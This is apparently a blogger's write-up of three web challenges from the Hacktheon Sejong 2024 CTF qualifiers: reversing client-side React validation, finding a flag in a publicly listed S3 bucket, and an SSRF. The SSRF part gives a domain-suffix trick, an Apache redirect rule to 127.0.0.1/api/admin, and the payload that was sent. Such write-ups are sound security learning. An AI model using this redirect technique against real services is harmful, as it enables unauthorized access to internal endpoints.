Site cover image

Site icon image vicevirus’ Blog

Yo, welcome to my blog! I write tech stuff and play CTFs for fun. (still a noob)

Post title icon Hacktheon Sejong 2024 Quals Web Write-up

Revact


Image in a image block

Here we are given a website. The website is running React and it will check if your input is ‘correct’ or ‘wrong

It’s a fully client side check, and we could easily reverse the compiled JS file and find the correct input.

https://d1rov3aw0q2u2y.cloudfront.net/static/js/main.5e39c7c2.js

Here are some of the interesting code:

// Start by finding formflag
function Pe(t) {
            let[n,r] = (0,
            e.useState)("-");
            return (0,
            a.jsxs)(ke, {
                children: [(0,
                a.jsxs)(ke.Group, {
                    className: "mb-3",
                    controlId: "formFlag",
                    children: [(0,
                    a.jsx)(ke.Label, {
                        children: n
                    }), (0,
                    a.jsx)(_e, {
                        t: t.t,
                        ls: t.ls
                    })]
                }), (0,
                a.jsx)(Ne, {
                    s: t.s,
                    l: t.l,
                    c: t.c,
                    ms: r
                })]
            })
        }
 function _e(e) {
            return (0,
            a.jsx)(ke.Control, {
                type: "text",
                placeholder: "FLAG",
                onChange: t=>{
                    0 === t.target.value.split("").map((e=>e.charCodeAt() < 33 ? "a" : "")).map((e=>e.charCodeAt() > 126 ? "b" : "")).join("").length ? e.t(!0) : e.t(!1),
                    e.ls(t.target.value.length)
                }
            })
        }
        const Ee = Ce;
        function Ne(e) {
            const t = function(e) {
                let t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : "w";
                e.ms("".concat(t).concat(n(114)).concat("on").concat(n(103)))
            }
              , n = e=>String.fromCharCode(e)
              , r = function(e, n) {
                let r = arguments.length > 2 && void 0 !== arguments[2] ? arguments[2] : "c";
                e.s(n) && 7 === e.l ? e.ms("".concat(r, "or").concat("re", "ct")) : t(e)
            };
            return (0,
            a.jsx)(Ee, {
                variant: "primary",
                type: "button",
                onClick: n=>{
                    n.target.form[0].value.endsWith(n.target.form[0].value[0]) && e.c && n.target.form[0].value.startsWith("X") ? r(e, n.target.form[0].value) : t(e)
                }
                ,
                children: "Check"
            })
        }
s: e => e.split("")[5].charCodeAt() - 56 === e.split("")[1].charCodeAt() - 5 && 
        e.split("")[2] === e.split("")[3] && 
        "@" === e.split("")[2] && 
        e.split("")[4] === localStorage.getItem("z") && 
        e.split("")[5].charCodeAt() === e.split("")[4].charCodeAt() + 54

In this code below, it means the input will start and end with ‘X’

n.target.form[0].value.endsWith(n.target.form[0].value[0]) && e.c && n.target.form[0].value.startsWith("X")

Here’s another checking mechanism to deduce the correct input.

s: e => e.split("")[5].charCodeAt() - 56 === e.split("")[1].charCodeAt() - 5 && 
        e.split("")[2] === e.split("")[3] && 
        "@" === e.split("")[2] && 
        e.split("")[4] === localStorage.getItem("z") && 
        e.split("")[5].charCodeAt() === e.split("")[4].charCodeAt() + 54
        
 
 // Note that z value is D

Reversing the above and combining with conditions we have so far, we’ll get the correct input which is:

Flag: XG@@DzX

Image in a image block

Dog Gallery


Image in a image block

Looking at the web, it seems like a web where it is displaying bunch of cute dog images ><

This is also a fully client-side web, other than the S3 bucket which hosts the images.

Image in a image block

The S3 bucket looks interesting and we tried to enumerate it and find files that may be useful to us.

We straight away navigated to https://htodogpics.s3.amazonaws.com and see if there’s any file or directory listing.

Image in a image block

Surprisingly, we found a very interesting file.

https://htodogpics.s3.amazonaws.com/OMG_SUPER_S3CR3T_PR0TECTED_F1LE.txt

Browsing to the file, we found the flag!

Oh no! It looks like I made a mistake in configuring the S3 bucket policy, which means that all objects are now visible! This is a big problem, as it means that all of our important files are also exposed.

FLAG : IMPORTANT_S3_P0L1CY_ByJ
Flag: IMPORTANT_S3_P0L1CY_ByJ

GithubReadme


Image in a image block

For this challenge, we were given a website which allows you to read a README of a git repository. We were also given source code of the website.

Looking through the source code, these two particular endpoint /api/view and /api/admin looks interesting.

@api.post("/view", response={200: str, 400: Error})
def view(request, path: Path):
    try:
        ip = get_client_ip(request)[0]
        if ReqLog.objects.filter(ip=ip, request_at__gt=timezone.now() - timedelta(seconds=10)).exists():
            return 400, {'msg': f"so Fast.. - {ip}"}
        else:
            ReqLog(ip=ip).save()
        github = Github.objects.filter(path=path)
        if github.exists():
            return github.first().readme
        url = f"<https://raw.githubusercontent.com>{path.path}/{path.branch_name}/README.md"
        URLValidator()(url)
        response = requests.get(url)
        if response.status_code != 200:
            return 400, {}
        readme = response.text
        Github(
            path=path,
            readme=readme
        ).save()
        return readme
    except Exception as e:
        return 400, {}
@api.get("/admin", response={200: dict, 401: Error})
def admin(request):
    client_ip, is_routable = get_client_ip(request)
    if not is_routable :
        return {'msg':os.environ.get('FLAG')}
    else:
        return 401, {'msg': 'ACCESS DENIED'}

Looking at the code, it seems like we need to have some kind of internal SSRF to access /api/admin and get the flag, since it doesn’t allow remote connections.

The /api/view endpoint seems like the perfect candidate for SSRF, but how do we control the destination of where it goes?

In this code below:

url = f"<https://raw.githubusercontent.com>{path.path}/{path.branch_name}/README.md"
URLValidator()(url)
response = requests.get(url)
  • The path is being appended directly behind raw.githubusercontent.com (It’s possible to host your own subdomain endpoint, and redirect it to somewhere else)
  • It also seems impossible to bypass URLValidator().

What we did was, we created an A record subdomain of our owned TLD domain (vicevirus.me), which results to raw.githubusercontent.com.vicevirus.me

Then we pointed the A record to our own hosted web server IP Address.

Since requests.get() will always follow redirects unless specified not to, we could just host a web server with an endpoint that will redirect to internal endpoint /api/admin

Here, we are using Apache web server and set-up SSL (HTTPS) on our own server to do a redirect on an endpoint.

<IfModule mod_ssl.c>
<VirtualHost *:443>

	RewriteEngine On
	#checks if the host and request uri = raw.githubusercontent.com.vicevirus.me/main/README.md
 	RewriteCond %{HTTP_HOST} ^raw\\.githubusercontent\\.com\\.vicevirus\\.me$
 	RewriteCond %{REQUEST_URI} ^/main/README\\.md$
 	# redirect to <http://127.0.0.1:8044/api/admin>, port 8044 is based on start.sh
 	RewriteRule ^(.*)$ <http://127.0.0.1:8044/api/admin> [R=302,L]

	ServerAdmin webmaster@localhost
	DocumentRoot /var/www/html

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

ServerName raw.githubusercontent.com.vicevirus.me
SSLCertificateFile /etc/letsencrypt/live/raw.githubusercontent.com.vicevirus.me/fullchain.pem
SSLCertificateKeyFile /etc/letsencrypt/live/raw.githubusercontent.com.vicevirus.me/privkey.pem
Include /etc/letsencrypt/options-ssl-apache.conf
</VirtualHost>
</IfModule>

Final step, passing the domain to /api/view:

{"path":".vicevirus.me","branch_name":"main"}

// requests.get() will then visit <https://raw.githubusercontent.com.vicevirus.me/main/README.md>

And you’ll get the flag!

Image in a image block
Flag: J_DN5_S5L_CUST0M_JH